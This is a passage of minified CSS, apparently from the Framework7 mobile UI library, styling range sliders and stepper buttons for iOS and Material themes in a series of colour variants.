.range-bar-active{background-color:#000}.ios .range-slider.color-red .range-bar-active{background-color:#ff3b30}.ios .range-slider.color-green .range-bar-active{background-color:#4cd964}.ios .range-slider.color-blue .range-bar-active{background-color:#007aff}.ios .range-slider.color-pink .range-bar-active{background-color:#ff2d55}.ios .range-slider.color-yellow .range-bar-active{background-color:#fc0}.ios .range-slider.color-orange .range-bar-active{background-color:#ff9500}.ios .range-slider.color-gray .range-bar-active{background-color:#8e8e93}.ios .range-slider.color-white .range-bar-active{background-color:#fff}.ios .range-slider.color-black .range-bar-active{background-color:#000}.md .range-slider{height:20px}.md .range-bar{background:#b9b9b9;height:2px;margin-top:-1px}.md .range-bar-active{background:#2196f3}.md .range-knob-wrap{height:12px;width:12px;margin-top:-6px;margin-left:-6px}.md .range-knob{background:#2196f3;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:background-color,-webkit-transform;transition-property:background-color,-webkit-transform;transition-property:transform,background-color;transition-property:transform,background-color,-webkit-transform}.md .range-knob-active-state .range-knob{-webkit-transform:scale(1.5);transform:scale(1.5)}.md .range-slider-min:not(.range-slider-dual) .range-knob{background:#fff!important;border:2px solid #b9b9b9}.md .range-knob-label{width:26px;height:26px;margin-left:-13px;margin-bottom:8px;background:#2196f3;color:#fff;font-size:10px;border-radius:50%;line-height:26px}.md .range-knob-label:before{content:'';left:50%;top:0;margin-left:-13px;position:absolute;z-index:-1;width:26px;height:26px;background:#2196f3;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);border-radius:50% 50% 50% 0}.md .range-knob-active-state .range-knob-label{-webkit-transform:translateY(0) scale(1);transform:translateY(0) scale(1)}.md .range-slider-label .range-knob-active-state .range-knob{-webkit-transform:scale(0);transform:scale(0)}.md .color-theme-red .range-slider .range-bar-active,.md .color-theme-red .range-slider .range-knob,.md .color-theme-red .range-slider .range-knob-label,.md .color-theme-red .range-slider .range-knob-label:before{background-color:#f44336}.md .color-theme-green .range-slider .range-bar-active,.md .color-theme-green .range-slider .range-knob,.md .color-theme-green .range-slider .range-knob-label,.md .color-theme-green .range-slider .range-knob-label:before{background-color:#4caf50}.md .color-theme-blue .range-slider .range-bar-active,.md .color-theme-blue .range-slider .range-knob,.md .color-theme-blue .range-slider .range-knob-label,.md .color-theme-blue .range-slider .range-knob-label:before{background-color:#2196f3}.md .color-theme-pink .range-slider .range-bar-active,.md .color-theme-pink .range-slider .range-knob,.md .color-theme-pink .range-slider .range-knob-label,.md .color-theme-pink .range-slider .range-knob-label:before{background-color:#e91e63}.md .color-theme-yellow .range-slider .range-bar-active,.md .color-theme-yellow .range-slider .range-knob,.md .color-theme-yellow .range-slider .range-knob-label,.md .color-theme-yellow .range-slider .range-knob-label:before{background-color:#ffeb3b}.md .color-theme-orange .range-slider .range-bar-active,.md .color-theme-orange .range-slider .range-knob,.md .color-theme-orange .range-slider .range-knob-label,.md .color-theme-orange .range-slider .range-knob-label:before{background-color:#ff9800}.md .color-theme-gray .range-slider .range-bar-active,.md .color-theme-gray .range-slider .range-knob,.md .color-theme-gray .range-slider .range-knob-label,.md .color-theme-gray .range-slider .range-knob-label:before{background-color:#9e9e9e}.md .color-theme-white .range-slider .range-bar-active,.md .color-theme-white .range-slider .range-knob,.md .color-theme-white .range-slider .range-knob-label,.md .color-theme-white .range-slider .range-knob-label:before{background-color:#fff}.md .color-theme-black .range-slider .range-bar-active,.md .color-theme-black .range-slider .range-knob,.md .color-theme-black .range-slider .range-knob-label,.md .color-theme-black .range-slider .range-knob-label:before{background-color:#000}.md .range-slider.color-red .range-bar-active,.md .range-slider.color-red .range-knob,.md .range-slider.color-red .range-knob-label,.md .range-slider.color-red .range-knob-label:before{background-color:#f44336}.md .range-slider.color-green .range-bar-active,.md .range-slider.color-green .range-knob,.md .range-slider.color-green .range-knob-label,.md .range-slider.color-green .range-knob-label:before{background-color:#4caf50}.md .range-slider.color-blue .range-bar-active,.md .range-slider.color-blue .range-knob,.md .range-slider.color-blue .range-knob-label,.md .range-slider.color-blue .range-knob-label:before{background-color:#2196f3}.md .range-slider.color-pink .range-bar-active,.md .range-slider.color-pink .range-knob,.md .range-slider.color-pink .range-knob-label,.md .range-slider.color-pink .range-knob-label:before{background-color:#e91e63}.md .range-slider.color-yellow .range-bar-active,.md .range-slider.color-yellow .range-knob,.md .range-slider.color-yellow .range-knob-label,.md .range-slider.color-yellow .range-knob-label:before{background-color:#ffeb3b}.md .range-slider.color-orange .range-bar-active,.md .range-slider.color-orange .range-knob,.md .range-slider.color-orange .range-knob-label,.md .range-slider.color-orange .range-knob-label:before{background-color:#ff9800}.md .range-slider.color-gray .range-bar-active,.md .range-slider.color-gray .range-knob,.md .range-slider.color-gray .range-knob-label,.md .range-slider.color-gray .range-knob-label:before{background-color:#9e9e9e}.md .range-slider.color-white .range-bar-active,.md .range-slider.color-white .range-knob,.md .range-slider.color-white .range-knob-label,.md .range-slider.color-white .range-knob-label:before{background-color:#fff}.md .range-slider.color-black .range-bar-active,.md .range-slider.color-black .range-knob,.md .range-slider.color-black .range-knob-label,.md .range-slider.color-black .range-knob-label:before{background-color:#000}.stepper{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:stretch;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch}.stepper-button,.stepper-button-minus,.stepper-button-plus{text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;cursor:pointer}.stepper-button .icon,.stepper-button-minus .icon,.stepper-button-plus .icon{pointer-events:none}.stepper-value{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.stepper-input-wrap,.stepper-value{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;text-align:center}.stepper-button-minus,.stepper-button-plus{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.stepper-button-minus:after,.stepper-button-minus:before,.stepper-button-plus:after,.stepper-button-plus:before{content:'';position:absolute;left:50%;top:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.stepper-button-minus:after,.stepper-button-plus:after{width:15px;height:2px}.stepper-button-plus:before{height:15px;width:2px}.stepper .stepper-input-wrap input,.stepper .stepper-value{width:45px}.ios .stepper{height:29px}.ios .stepper-button,.ios .stepper-button-minus,.ios .stepper-button-plus{border:1px solid #007aff;color:#007aff;border-radius:5px;line-height:27px;height:29px;width:40px}.ios .stepper-button .f7-icons,.ios .stepper-button-minus .f7-icons,.ios .stepper-button-plus .f7-icons{font-size:22px}.ios .stepper-button-minus:first-child,.ios .stepper-button-plus:first-child,.ios .stepper-button:first-child{border-radius:5px 0 0 5px}.ios .stepper-button-minus:last-child,.ios .stepper-button-plus:last-child,.ios .stepper-button:last-child{border-radius:0 5px 5px 0}.ios .stepper-button-minus.active-state,.ios .stepper-button-plus.active-state,.ios .stepper-button.active-state{background:rgba(0,122,255,.15)}.ios .stepper-button+.stepper-button,.ios .stepper-button+.stepper-button-minus,.ios .stepper-button+.stepper-button-plus,.ios .stepper-button-minus+.stepper-button,.ios .stepper-button-minus+.stepper-button-minus,.ios .stepper-button-minus+.stepper-button-plus,.ios .stepper-button-plus+.stepper-button,.ios .stepper-button-plus+.stepper-button-minus,.ios .stepper-button-plus+.stepper-button-plus{border-left:none}.ios .stepper-button-minus:after,.ios .stepper-button-minus:before,.ios .stepper-button-plus:after,.ios .stepper-button-plus:before{background:#007aff}.ios .stepper-input-wrap,.ios .stepper-value{border-top:1px solid #007aff;border-bottom:1px solid #007aff}.ios .stepper .stepper-value{color:#007aff;font-size:17px}.ios .stepper .stepper-input-wrap input{height:100%;text-align:center;color:#007aff;font-size:17px}.ios .stepper-fill .stepper-button,.ios .stepper-fill .stepper-button-minus,.ios .stepper-fill .stepper-button-plus,.ios .stepper-fill-ios .stepper-button,.ios .stepper-fill-ios .stepper-button-minus,.ios .stepper-fill-ios .stepper-button-plus{color:#fff;background:#007aff}.ios .stepper-fill .stepper-button-minus.active-state,.ios .stepper-fill .stepper-button-plus.active-state,.ios .stepper-fill .stepper-button.active-state,.ios .stepper-fill-ios .stepper-button-minus.active-state,.ios .stepper-fill-ios .stepper-button-plus.active-state,.ios .stepper-fill-ios .stepper-button.active-state{opacity:.8}.ios .stepper-fill .stepper-button-minus:after,.ios .stepper-fill .stepper-button-minus:before,.ios .stepper-fill .stepper-button-plus:after,.ios .stepper-fill .stepper-button-plus:before,.ios .stepper-fill-ios .stepper-button-minus:after,.ios .stepper-fill-ios .stepper-button-minus:before,.ios .stepper-fill-ios .stepper-button-plus:after,.ios .stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper-fill .stepper-button+.stepper-button,.ios .stepper-fill .stepper-button-minus+.stepper-button-plus,.ios .stepper-fill-ios .stepper-button+.stepper-button,.ios .stepper-fill-ios .stepper-button-minus+.stepper-button-plus{border-left:1px solid rgba(0,0,0,.1)}.ios .stepper-round .stepper-button-minus:first-child,.ios .stepper-round .stepper-button-plus:first-child,.ios .stepper-round .stepper-button:first-child,.ios .stepper-round-ios .stepper-button-minus:first-child,.ios .stepper-round-ios .stepper-button-plus:first-child,.ios .stepper-round-ios .stepper-button:first-child{border-radius:29px 0 0 29px}.ios .stepper-round .stepper-button-minus:last-child,.ios .stepper-round .stepper-button-plus:last-child,.ios .stepper-round .stepper-button:last-child,.ios .stepper-round-ios .stepper-button-minus:last-child,.ios .stepper-round-ios .stepper-button-plus:last-child,.ios .stepper-round-ios .stepper-button:last-child{border-radius:0 29px 29px 0}.ios .stepper-small,.ios .stepper-small-ios{height:26px}.ios .stepper-small .stepper-input-wrap,.ios .stepper-small .stepper-value,.ios .stepper-small-ios .stepper-input-wrap,.ios .stepper-small-ios .stepper-value{border-top-width:2px;border-bottom-width:2px}.ios .stepper-small .stepper-button,.ios .stepper-small .stepper-button-minus,.ios .stepper-small .stepper-button-plus,.ios .stepper-small-ios .stepper-button,.ios .stepper-small-ios .stepper-button-minus,.ios .stepper-small-ios .stepper-button-plus{height:26px;-webkit-transition-duration:.2s;transition-duration:.2s;line-height:22px;border-width:2px}.ios .stepper-small .stepper-button .f7-icons,.ios .stepper-small .stepper-button-minus .f7-icons,.ios .stepper-small .stepper-button-plus .f7-icons,.ios .stepper-small-ios .stepper-button .f7-icons,.ios .stepper-small-ios .stepper-button-minus .f7-icons,.ios .stepper-small-ios .stepper-button-plus .f7-icons{font-size:18px}.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state,.ios .stepper-small-ios.stepper-fill-ios .stepper-button.active-state,.ios .stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper-small.stepper-fill .stepper-button.active-state,.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state,.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state,.ios .stepper-small.stepper-fill-ios .stepper-button.active-state{color:#007aff;border-color:#007aff;background-color:transparent;opacity:1}.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state:after,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state:before,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state:after,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state:before,.ios .stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper-small.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state:after,.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state:before,.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state:after,.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state:before{background-color:#007aff}.ios .stepper-big,.ios .stepper-big-ios{height:44px}.ios .stepper-big .stepper-button,.ios .stepper-big .stepper-button-minus,.ios .stepper-big .stepper-button-plus,.ios .stepper-big-ios .stepper-button,.ios .stepper-big-ios .stepper-button-minus,.ios .stepper-big-ios .stepper-button-plus{height:44px;line-height:42px}.ios .color-theme-red .stepper .stepper-button,.ios .color-theme-red .stepper .stepper-button-minus,.ios .color-theme-red .stepper .stepper-button-plus{border-color:#ff3b30;color:#ff3b30}.ios .color-theme-red .stepper .stepper-button-minus.active-state,.ios .color-theme-red .stepper .stepper-button-plus.active-state,.ios .color-theme-red .stepper .stepper-button.active-state{background-color:rgba(255,59,48,.15)}.ios .color-theme-red .stepper .stepper-button-minus:after,.ios .color-theme-red .stepper .stepper-button-minus:before,.ios .color-theme-red .stepper .stepper-button-plus:after,.ios .color-theme-red .stepper .stepper-button-plus:before{background-color:#ff3b30}.ios .color-theme-red .stepper .stepper-input-wrap,.ios .color-theme-red .stepper .stepper-value{border-top-color:#ff3b30;border-bottom-color:#ff3b30}.ios .color-theme-red .stepper .stepper-value{color:#ff3b30}.ios .color-theme-red .stepper .stepper-input-wrap input{color:#ff3b30}.ios .color-theme-red .stepper.stepper-fill .stepper-button,.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus{background-color:#ff3b30}.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#ff3b30;border-color:#ff3b30;background-color:transparent}.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff3b30}.ios .color-theme-green .stepper .stepper-button,.ios .color-theme-green .stepper .stepper-button-minus,.ios .color-theme-green .stepper .stepper-button-plus{border-color:#4cd964;color:#4cd964}.ios .color-theme-green .stepper .stepper-button-minus.active-state,.ios .color-theme-green .stepper .stepper-button-plus.active-state,.ios .color-theme-green .stepper .stepper-button.active-state{background-color:rgba(76,217,100,.15)}.ios .color-theme-green .stepper .stepper-button-minus:after,.ios .color-theme-green .stepper .stepper-button-minus:before,.ios .color-theme-green .stepper .stepper-button-plus:after,.ios .color-theme-green .stepper .stepper-button-plus:before{background-color:#4cd964}.ios .color-theme-green .stepper .stepper-input-wrap,.ios .color-theme-green .stepper .stepper-value{border-top-color:#4cd964;border-bottom-color:#4cd964}.ios .color-theme-green .stepper .stepper-value{color:#4cd964}.ios .color-theme-green .stepper .stepper-input-wrap input{color:#4cd964}.ios .color-theme-green .stepper.stepper-fill .stepper-button,.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus{background-color:#4cd964}.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#4cd964;border-color:#4cd964;background-color:transparent}.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-green .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-green .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#4cd964}.ios .color-theme-blue .stepper .stepper-button,.ios .color-theme-blue .stepper .stepper-button-minus,.ios .color-theme-blue .stepper .stepper-button-plus{border-color:#007aff;color:#007aff}.ios .color-theme-blue .stepper .stepper-button-minus.active-state,.ios .color-theme-blue .stepper .stepper-button-plus.active-state,.ios .color-theme-blue .stepper .stepper-button.active-state{background-color:rgba(0,122,255,.15)}.ios .color-theme-blue .stepper .stepper-button-minus:after,.ios .color-theme-blue .stepper .stepper-button-minus:before,.ios .color-theme-blue .stepper .stepper-button-plus:after,.ios .color-theme-blue .stepper .stepper-button-plus:before{background-color:#007aff}.ios .color-theme-blue .stepper .stepper-input-wrap,.ios .color-theme-blue .stepper .stepper-value{border-top-color:#007aff;border-bottom-color:#007aff}.ios .color-theme-blue .stepper .stepper-value{color:#007aff}.ios .color-theme-blue .stepper .stepper-input-wrap input{color:#007aff}.ios .color-theme-blue .stepper.stepper-fill .stepper-button,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus{background-color:#007aff}.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-blue .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-blue .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#007aff;border-color:#007aff;background-color:transparent}.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-blue .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-blue .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#007aff}.ios .color-theme-pink .stepper .stepper-button,.ios .color-theme-pink .stepper .stepper-button-minus,.ios .color-theme-pink .stepper .stepper-button-plus{border-color:#ff2d55;color:#ff2d55}.ios .color-theme-pink .stepper .stepper-button-minus.active-state,.ios .color-theme-pink .stepper .stepper-button-plus.active-state,.ios .color-theme-pink .stepper .stepper-button.active-state{background-color:rgba(255,45,85,.15)}.ios .color-theme-pink .stepper .stepper-button-minus:after,.ios .color-theme-pink .stepper .stepper-button-minus:before,.ios .color-theme-pink .stepper .stepper-button-plus:after,.ios .color-theme-pink .stepper .stepper-button-plus:before{background-color:#ff2d55}.ios .color-theme-pink .stepper .stepper-input-wrap,.ios .color-theme-pink .stepper .stepper-value{border-top-color:#ff2d55;border-bottom-color:#ff2d55}.ios .color-theme-pink .stepper .stepper-value{color:#ff2d55}.ios .color-theme-pink .stepper .stepper-input-wrap input{color:#ff2d55}.ios .color-theme-pink .stepper.stepper-fill .stepper-button,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus{background-color:#ff2d55}.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-pink .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-pink .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#ff2d55;border-color:#ff2d55;background-color:transparent}.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-pink .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-pink .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff2d55}.ios .color-theme-yellow .stepper .stepper-button,.ios .color-theme-yellow .stepper .stepper-button-minus,.ios .color-theme-yellow .stepper .stepper-button-plus{border-color:#fc0;color:#fc0}.ios .color-theme-yellow .stepper .stepper-button-minus.active-state,.ios .color-theme-yellow .stepper .stepper-button-plus.active-state,.ios .color-theme-yellow .stepper .stepper-button.active-state{background-color:rgba(255,204,0,.15)}.ios .color-theme-yellow .stepper .stepper-button-minus:after,.ios .color-theme-yellow .stepper .stepper-button-minus:before,.ios .color-theme-yellow .stepper .stepper-button-plus:after,.ios .color-theme-yellow .stepper .stepper-button-plus:before{background-color:#fc0}.ios .color-theme-yellow .stepper .stepper-input-wrap,.ios .color-theme-yellow .stepper .stepper-value{border-top-color:#fc0;border-bottom-color:#fc0}.ios .color-theme-yellow .stepper .stepper-value{color:#fc0}.ios .color-theme-yellow .stepper .stepper-input-wrap input{color:#fc0}.ios .color-theme-yellow .stepper.stepper-fill .stepper-button,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus{background-color:#fc0}.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-yellow .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-yellow .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#fc0;border-color:#fc0;background-color:transparent}.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-yellow .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-yellow .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#fc0}.ios .color-theme-orange .stepper .stepper-button,.ios .color-theme-orange .stepper .stepper-button-minus,.ios .color-theme-orange .stepper .stepper-button-plus{border-color:#ff9500;color:#ff9500}.ios .color-theme-orange .stepper .stepper-button-minus.active-state,.ios .color-theme-orange .stepper .stepper-button-plus.active-state,.ios .color-theme-orange .stepper .stepper-button.active-state{background-color:rgba(255,149,0,.15)}.ios .color-theme-orange .stepper .stepper-button-minus:after,.ios .color-theme-orange .stepper .stepper-button-minus:before,.ios .color-theme-orange .stepper .stepper-button-plus:after,.ios .color-theme-orange .stepper .stepper-button-plus:before{background-color:#ff9500}.ios .color-theme-orange .stepper .stepper-input-wrap,.ios .color-theme-orange 